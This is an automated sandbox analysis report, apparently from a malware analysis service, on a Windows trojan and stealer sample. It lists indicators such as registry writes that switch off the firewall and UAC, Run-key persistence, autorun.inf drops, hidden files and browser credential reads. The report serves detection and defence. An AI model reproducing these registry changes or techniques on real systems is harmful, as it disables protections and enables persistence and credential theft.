d6aeb417cf10f28c0f27f6320ee26bbebe4b7da01e1ce7067a2c5353412821d1

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 11:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4188928d42578d01826be310ed423f73_JaffaCakes118.exe
Size

399KB
MD5

4188928d42578d01826be310ed423f73
SHA1

80d1baa6e7384eef1403d6591fcb433a098ba3da
SHA256

d6aeb417cf10f28c0f27f6320ee26bbebe4b7da01e1ce7067a2c5353412821d1
SHA512

4440ee125d00a98fc38621da9e74adeb3ba84d5a3fd99bc58530d1f4574b9e12db34f10d1e1772d232d6c75f2001303b1723aeb2fadbf20892103ce898bebb24
SSDEEP

6144:ipPOC3QN319eNYsHD3AAGoHQH9sWV16w2DklypareA51Pqr+Hf:mODE5HD3LGoHQZykorA51Sg

Score

10^/10

evasion persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3044	netsh.exe
2464	netsh.exe
940	netsh.exe
2116	netsh.exe

Sets file to hidden 1 TTPs 24 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5992	attrib.exe
5328	attrib.exe
5800	attrib.exe
5840	attrib.exe
2688	attrib.exe
5808	attrib.exe
5672	attrib.exe
5872	attrib.exe
6136	attrib.exe
1824	attrib.exe
3636	attrib.exe
4488	attrib.exe
5124	attrib.exe
5624	attrib.exe
5628	attrib.exe
5696	attrib.exe
5496	attrib.exe
5700	attrib.exe
5728	attrib.exe
6124	attrib.exe
3620	attrib.exe
4612	attrib.exe
5740	attrib.exe
5828	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	XIo2qNiS.XIo2qNiS
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	rawcircle.scr

Executes dropped EXE 2 IoCs

pid	Process
1216	XIo2qNiS.XIo2qNiS
5268	rawcircle.scr

Loads dropped DLL 5 IoCs

pid	Process
3608	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
228	cmd.exe
3396	wmplayer.exe
1216	XIo2qNiS.XIo2qNiS
5268	rawcircle.scr

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	rawcircle.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	wmplayer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	XIo2qNiS.XIo2qNiS

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\L:	wmplayer.exe

Drops autorun.inf file 1 TTPs 22 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File opened for modification	F:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File created	F:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	F:\autorun.inf	cmd.exe
File created	F:\autorun.inf	wmplayer.exe
File created	D:\autorun.inf	wmplayer.exe
File created	D:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	cmd.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	C:\autorun.inf	XIo2qNiS.XIo2qNiS
File opened for modification	C:\autorun.inf	cmd.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	C:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	D:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	C:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File created	C:\autorun.inf	wmplayer.exe
File created	D:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File opened for modification	F:\autorun.inf	attrib.exe
File created	F:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4600	sc.exe
3280	sc.exe
2972	sc.exe
5512	sc.exe
5736	sc.exe
5668	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\Desktop\ScreenSaveActive = "1"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	XIo2qNiS.XIo2qNiS

Modifies Internet Explorer settings 1 TTPs 28 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_StatusBar = "yes"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_URLinStatusBar = "yes"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_FullURL = "yes"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_StatusBar = "yes"	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS
1216	XIo2qNiS.XIo2qNiS

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3396	wmplayer.exe
Token: SeCreatePagefilePrivilege	3396	wmplayer.exe
Token: SeShutdownPrivilege	2648	unregmp2.exe
Token: SeCreatePagefilePrivilege	2648	unregmp2.exe
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1216	XIo2qNiS.XIo2qNiS

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3608 wrote to memory of 228	3608	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	83
PID 3608 wrote to memory of 228	3608	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	83
PID 3608 wrote to memory of 228	3608	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	83
PID 228 wrote to memory of 1216	228	cmd.exe	86
PID 228 wrote to memory of 1216	228	cmd.exe	86
PID 228 wrote to memory of 1216	228	cmd.exe	86
PID 1216 wrote to memory of 3912	1216	XIo2qNiS.XIo2qNiS	89
PID 1216 wrote to memory of 3912	1216	XIo2qNiS.XIo2qNiS	89
PID 1216 wrote to memory of 3912	1216	XIo2qNiS.XIo2qNiS	89
PID 3912 wrote to memory of 3908	3912	cmd.exe	91
PID 3912 wrote to memory of 3908	3912	cmd.exe	91
PID 3912 wrote to memory of 3908	3912	cmd.exe	91
PID 1216 wrote to memory of 3748	1216	XIo2qNiS.XIo2qNiS	92
PID 1216 wrote to memory of 3748	1216	XIo2qNiS.XIo2qNiS	92
PID 1216 wrote to memory of 3748	1216	XIo2qNiS.XIo2qNiS	92
PID 1216 wrote to memory of 2972	1216	XIo2qNiS.XIo2qNiS	94
PID 1216 wrote to memory of 2972	1216	XIo2qNiS.XIo2qNiS	94
PID 1216 wrote to memory of 2972	1216	XIo2qNiS.XIo2qNiS	94
PID 1216 wrote to memory of 3360	1216	XIo2qNiS.XIo2qNiS	96
PID 1216 wrote to memory of 3360	1216	XIo2qNiS.XIo2qNiS	96
PID 1216 wrote to memory of 3360	1216	XIo2qNiS.XIo2qNiS	96
PID 1216 wrote to memory of 3036	1216	XIo2qNiS.XIo2qNiS	98
PID 1216 wrote to memory of 3036	1216	XIo2qNiS.XIo2qNiS	98
PID 1216 wrote to memory of 3036	1216	XIo2qNiS.XIo2qNiS	98
PID 2972 wrote to memory of 3636	2972	cmd.exe	100
PID 2972 wrote to memory of 3636	2972	cmd.exe	100
